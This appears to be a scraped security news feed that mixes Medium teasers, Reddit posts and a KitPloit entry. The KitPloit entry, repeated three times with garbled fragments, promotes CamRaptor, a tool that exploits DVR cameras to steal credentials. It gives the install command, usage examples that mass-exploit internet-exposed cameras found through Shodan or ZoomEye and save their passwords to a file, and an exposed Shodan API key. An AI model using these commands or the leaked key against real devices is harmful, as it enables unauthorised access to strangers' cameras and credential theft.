Hacking on Medium
Leveraging Burp Suite extension for finding IDOR(Insecure Direct Object Reference).

https://cdn-images-1.medium.com/max/1920/1*ldQ75PFf4U1KZNF5qn1_Xw.png
IDOR is one of the common vulnerabilities found in bug bounty websites. Let's see how to easily catch them.

Continue reading on InfoSec Write-ups »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
電玩大廠 EA 被盜！駭客偽裝員工直接要密碼，該怎麼防禦？

https://cdn-images-1.medium.com/max/700/1*-ECWDm_Idc8Ax4J54EXaeA.jpeg
大部分的網路上的內容只說明單一案件駭客攻擊的方式，本篇文章將講解實務上怎麼防禦這類「詐騙」型的攻擊，怎麼利用一些「主動」的防禦，來避免人性的弱點，也會分享駭客進行詐騙的技巧(利用好奇心、愧疚感等等手法)，讓你有深入的了解，不讓駭客偷走你辛苦的成果！

Continue reading on 程式猿吃香蕉 »
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
#496 (經濟學人導讀 — 每週社論)

https://cdn-images-1.medium.com/max/836/1*To9PzD6O3OpKth-yUNbA3g.png
#每日一經濟學人 #國際時事 #英文學習 #這同時也可以遏止網路惡作劇 #謝謝團隊的Jacky

Continue reading on Medium »
➖ Sent by @TheFeedReaderBot ➖

KitPloit - PenTest Tools!
CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials

https://1.bp.blogspot.com/-DpPkRN0OCwU/YND4ZNPBlFI/AAAAAAAAc6w/yevrpavDupMZmDr_UMG-QIMYdqdaFJ6DQCNcBGAsYHQ/w640-h412/CamRaptor.png
CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials.

Features

* Exploits vulnerabilities in most popular camera models such as Novo, CeNovaand QSee.
* Optimized to exploit multiple cameras at one time from list with threading enabled.
* Simple CLI and API usage.
Installation

pip3 install git+https://github.com/EntySec/CamRaptor

Basic usage

To use CamRaptor just type camraptorin your terminal.

Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.


Examples

Exploiting single camera

Let's hack my camera just for fun.

camraptor -a 192.168.99.100

Exploiting cameras from Internet

Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -tfor fast exploitation.

camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD

NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :)

Exploiting cameras from input file

Let's try to use opened database of cameras with -tfor fast exploitation.

camraptor -t -i cameras.txt -o passwords.txt

NOTE: It will exploit all cameras in cameras.txtlist by their addresses and save all obtained passwords to passwords.txt.

API usage

CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code.

from camraptor import CamRaptor

Basic functions

There are all CamRaptor basic functions that can be used to exploit specified camera.

* exploit(address)- Exploit single camera by given address.

Examples

Exploiting single camera

from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)
Download CamRaptor

CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials
http://www.kitploit.com/2021/06/camraptor-tool-that-exploits-several.html

CamRaptor is a tool that exploits several vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) in popular DVR cameras to obtain network camera credentials.
Features
Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee. Optimized to exploit multiple cameras at one time from list with threading (https://www.kitploit.com/search/label/Threading) enabled. Simple CLI and API usage.
Installation
pip3 install git+https://github.com/EntySec/CamRaptor
Basic usage
To use CamRaptor just type camraptor in your terminal. Shodan API key for exploiting (https://www.kitploit.com/search/label/Exploiting) devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor [-h] [-t] [-o OUTPUT] [-i INPUT] [-a ADDRESS]
[--shodan SHODAN] [--zoomeye ZOOMEYE] [-p PAGES]

CamRaptor is a tool that exploits several vulnerabilities in popular DVR
cameras to obtain network camera credentials.

optional arguments:
-h, --help show this help message and exit
-t, --threads Use threads for fastest work.
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.

Examples
Exploiting single camera Let's hack my camera just for fun. camraptor -a 192.168.99.100 Exploiting cameras from Internet Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -t for fast exploitation. camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) Exploiting cameras from input file Let's try to use opened database of cameras with -t for fast exploitation. camraptor -t -i cameras.txt -o passwords.txt NOTE: It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords (https://www.kitploit.com/search/label/Passwords) to passwords.txt.
API usage
CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code. from camraptor import CamRaptor
Basic functions
There are all CamRaptor basic functions that can be used to exploit specified camera. exploit(address) - Exploit single camera by given address.
Examples
Exploiting single camera from camraptor import CamRaptor

camraptor = CamRaptor()
creds = camraptor.exploit('192.168.99.100')

print(creds)

Download CamRaptor (https://github.com/EntySec/CamRaptor)

CamRaptor - Tool That Exploits Several Vulnerabilities In Popular DVR Cameras To Obtain Network Camera Credentials

CamRaptor is a tool that exploits several vulnerabilities in popular DVR cameras to obtain network camera credentials. Features Exploits vulnerabilities in most popular camera models such as Novo, CeNova and QSee. Optimized to exploit multiple cameras at one time from list with threading enabled. Simple CLI and API usage.Installation pip3 install git+https://github.com/EntySec/CamRaptor Basic usage To use CamRaptor just type camraptor in your terminal. Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. ">usage: camraptor -h -t -o OUTPUT -i INPUT -a ADDRESS --shodan SHODAN --zoomeye ZOOMEYE -p PAGESCamRaptor is a tool that exploits several vulnerabilities in popular DVRcameras to obtain network camera credentials.optional arguments: -h, --help show this help message and exit -t, --threads Use threads for fastest work. -o OUTPUT, --output OUTPUT Output result to file. -i INPUT, --input INPUT Input file of addresses. -a ADDRESS, --address ADDRESS Single address. --shodan SHODAN Shodan API key for exploiting devices over Internet. --zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet. -p PAGES, --pages PAGES Number of pages you want to get from ZoomEye. Examples Exploiting single camera Let's hack my camera just for fun. camraptor -a 192.168.99.100 Exploiting cameras from Internet Let's try to use Shodan search engine to exploit cameras over Internet, we will use it with -t for fast exploitation. camraptor -t --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD NOTE: Given Shodan API key (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) is my PRO API key, you can use this key or your own, be free to use all our resources for free :) Exploiting cameras from input file Let's try to use opened database of cameras with -t for fast exploitation. camraptor -t -i cameras.txt -o passwords.txt NOTE: It will exploit all cameras in cameras.txt list by their addresses and save all obtained passwords to passwords.txt. API usage CamRaptor also has their own Python API that can be invoked by importing CamRaptor to your code. from camraptor import CamRaptor Basic functions There are all CamRaptor basic functions that can be used to exploit specified camera. exploit(address) - Exploit single camera by given address. Examples Exploiting single camera from camraptor import CamRaptorcamraptor = CamRaptor()creds = camraptor.exploit('192.168.99.100')print(creds) Download CamRaptor
Read more...

My Experience For 2 Years In Bug Bounty Hunting

My experience and achievements that were gathered during Bug Bounty Hunting that I started 2 years ago.Continue reading on Medium »
Read more...

Deep Web
Patching to tag geo ip to bypass verification?

What does this mean ?

submitted by /u/ComedianNo3193
[link] [comments]

Deep Web
Escript

Tap in to learn the sauce for your own scripts.

submitted by /u/dolobandemic
[link] [comments]

https://preview.redd.it/ii13mdzvqm771.jpg?width=640&crop=smart&auto=webp&s=7440413152ec54bcf9928a58a9675b82459fa839 submitted by /u/ZealousidealPop3804
[link] [comments]

https://preview.redd.it/nm6ommdwqm771.jpg?width=640&crop=smart&auto=webp&s=7405effa6dbd1edce141d13f850593b795c7ca70 submitted by /u/ZealousidealPop3804
[link] [comments]

My Experience For 2 Years In Bug Bounty Hunting
https://ahmdhalabi.medium.com/my-experience-for-2-years-in-bug-bounty-hunting-b22d03f98ed3?source=rss------bug_bounty-5

My experience and achievements that were gathered during Bug Bounty Hunting that I started 2 years ago.Continue reading on Medium » (https://ahmdhalabi.medium.com/my-experience-for-2-years-in-bug-bounty-hunting-b22d03f98ed3?source=rss------bug_bounty-5)

hacking: security in practice
Thesis/Project for university

So i have to do a thesis aka a big project mostly based on coding so i can take my computer science degree. I want it to be something fun about hacking as i will be on the project for like 10 months and i want it to be something interesting and fun. I have strong coding skills and i can pick on any language pretty easily. I thought i make something on hacking drones, it sounds like a fun idea. I want to hear your ideas as well, any proposition? Thanks in advance!

submitted by /u/JuicyNatural
[link] [comments]